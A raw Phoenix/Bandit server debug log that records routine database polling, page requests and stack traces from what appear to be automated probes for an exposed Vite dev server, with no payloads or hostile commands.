SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 19:40:14.528000 2026] [Phoenix.Logger:info] [pid 2816631] [client 45.33.12.214:40673] GET /
[Fri Sep  4 19:40:14.528000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 45.33.12.214:40673] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Fri Sep  4 19:40:14.529000 2026] [Phoenix.Logger:info] [pid 2816631] [client 45.33.12.214:40673] Sent 200 in 1ms
[Fri Sep  4 19:40:40.653000 2026] [Phoenix.Logger:info] [pid 2816631] [client 45.33.109.8:55059] GET /
[Fri Sep  4 19:40:40.653000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 45.33.109.8:55059] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Fri Sep  4 19:40:40.654000 2026] [Phoenix.Logger:info] [pid 2816631] [client 45.33.109.8:55059] Sent 200 in 880µs
[Fri Sep  4 19:40:47.758000 2026] [Phoenix.Logger:info] [pid 2816631] [client 45.33.80.243:26372] GET /
[Fri Sep  4 19:40:47.758000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 45.33.80.243:26372] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Fri Sep  4 19:40:47.759000 2026] [Phoenix.Logger:info] [pid 2816631] [client 45.33.80.243:26372] Sent 200 in 1ms
[Fri Sep  4 19:41:25.943000 2026] [Phoenix.Logger:info] [pid 2816631] [client 66.228.40.100:21808] GET /
[Fri Sep  4 19:41:25.943000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 66.228.40.100:21808] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Fri Sep  4 19:41:25.944000 2026] [Phoenix.Logger:info] [pid 2816631] [client 66.228.40.100:21808] Sent 200 in 904µs
[Fri Sep  4 19:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1383.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 19:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.9ms idle=1359.0ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 20:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1307.2ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 20:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1114.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 20:26:24.710000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=5.1ms idle=1975.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 20:30:00.986000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.8ms idle=1229.2ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 20:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 20:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1913.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 20:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms queue=0.1ms idle=1768.2ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 20:56:24.707000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=2.2ms queue=0.1ms idle=1606.4ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 21:06:24.710000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=4.2ms idle=1455.4ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 21:16:24.708000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.8ms idle=1355.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 21:26:24.707000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=2.2ms idle=1195.0ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 21:31:07.500000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 21:31:12.501000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 21:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1138.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 21:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1112.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 21:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1094.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 22:00:00.812000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.9ms idle=210.0ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 22:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 22:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1062.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 22:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1038.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 22:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1027.9ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 22:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.0ms idle=1992.3ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 22:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1969.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 22:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.7ms idle=1944.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 22:58:19.545000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Fri Sep  4 22:58:22.954000 2026] [Phoenix.Logger:info] [pid 2816631] [client 91.196.152.116:38707] GET /
[Fri Sep  4 22:58:22.955000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 91.196.152.116:38707] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Fri Sep  4 22:58:22.956000 2026] [Phoenix.Logger:info] [pid 2816631] [client 91.196.152.116:38707] Sent 200 in 1ms
[Fri Sep  4 23:00:01.351000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=1.0ms idle=586.7ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 23:00:01Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 23:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1927.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 23:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1908.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 23:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1887.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 23:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1775.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 23:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.7ms queue=0.1ms idle=1623.9ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 23:56:24.707000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.7ms queue=0.6ms idle=1426.2ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 00:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.2ms idle=1323.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 00:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1266.9ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 00:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1251.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 00:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1228.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 00:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1190.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 00:56:24.705000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.3ms idle=1170.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 01:00:00.393000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=1.0ms idle=1851.8ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-05 01:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Sat Sep  5 01:00:00.489000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=2.5ms idle=1945.5ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-05 01:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Sat Sep  5 01:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1148.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 01:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1132.3ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 01:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1113.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 01:30:00.376000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.6ms idle=759.6ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-05 01:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Sat Sep  5 01:30:00.532000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.5ms idle=915.9ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-05 01:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Sat Sep  5 01:36:24.707000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1095.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 01:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1067.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 01:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1050.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 01:59:11.211000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 01:59:11.215000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 01:59:11.216000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 01:59:11.477000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33676] GET /
[Sat Sep  5 01:59:11.478000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:33676] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 01:59:11.478000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33676] Sent 200 in 1ms
[Sat Sep  5 01:59:11.520000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:28872] GET /
[Sat Sep  5 01:59:11.520000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:28872] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 01:59:11.521000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:28872] Sent 200 in 1ms
[Sat Sep  5 01:59:11.561000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:40048] GET /
[Sat Sep  5 01:59:11.561000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:40048] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 01:59:11.562000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:40048] Sent 200 in 1ms
[Sat Sep  5 01:59:12.132000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:40048] GET /
[Sat Sep  5 01:59:12.132000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:40048] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{"__vitesweep" => "52a614990ef3424f"}
  Pipelines: [:browser]
[Sat Sep  5 01:59:12.133000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:40048] Sent 200 in 1ms
[Sat Sep  5 01:59:12.181000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:40062] GET /
[Sat Sep  5 01:59:12.181000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:40062] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{"__vitesweep" => "52a614990ef3424f"}
  Pipelines: [:browser]
[Sat Sep  5 01:59:12.192000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:40062] Sent 406 in 11ms
[Sat Sep  5 01:59:12.194000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:40062] ** (Phoenix.NotAcceptableError) no supported media type in accept header.

Expected one of ["html"] but got the following formats:

  * "text/x-vite-ping" with extensions: []

To accept custom formats, register them under the :mime library
in your config/config.exs file:

    config :mime, :types, %{
      "application/xml" => ["xml"]
    }

And then run `mix deps.clean --build mime` to force it to be recompiled.

    (phoenix 1.7.19) lib/phoenix/controller.ex:1606: Phoenix.Controller.refuse/3
    (da_product_app 0.1.0) DaProductAppWeb.Router.browser/2
    (da_product_app 0.1.0) lib/da_product_app_web/router.ex:1: DaProductAppWeb.Router.__pipe_through0__/1
    (phoenix 1.7.19) lib/phoenix/router.ex:475: Phoenix.Router.__call__/5
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:12.517000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:40048] GET /__vitesweep_ping_control_52a614990ef3424f
[Sat Sep  5 01:59:12.534000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:40048] ** (Phoenix.Router.NoRouteError) no route found for GET /__vitesweep_ping_control_52a614990ef3424f (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:12.582000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:40076] GET /__vite_ping
[Sat Sep  5 01:59:12.609000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:40076] ** (Phoenix.Router.NoRouteError) no route found for GET /__vite_ping (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:12.831000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33676] GET /
[Sat Sep  5 01:59:12.832000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:33676] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{"__vitesweep" => "e0248407a1828b65"}
  Pipelines: [:browser]
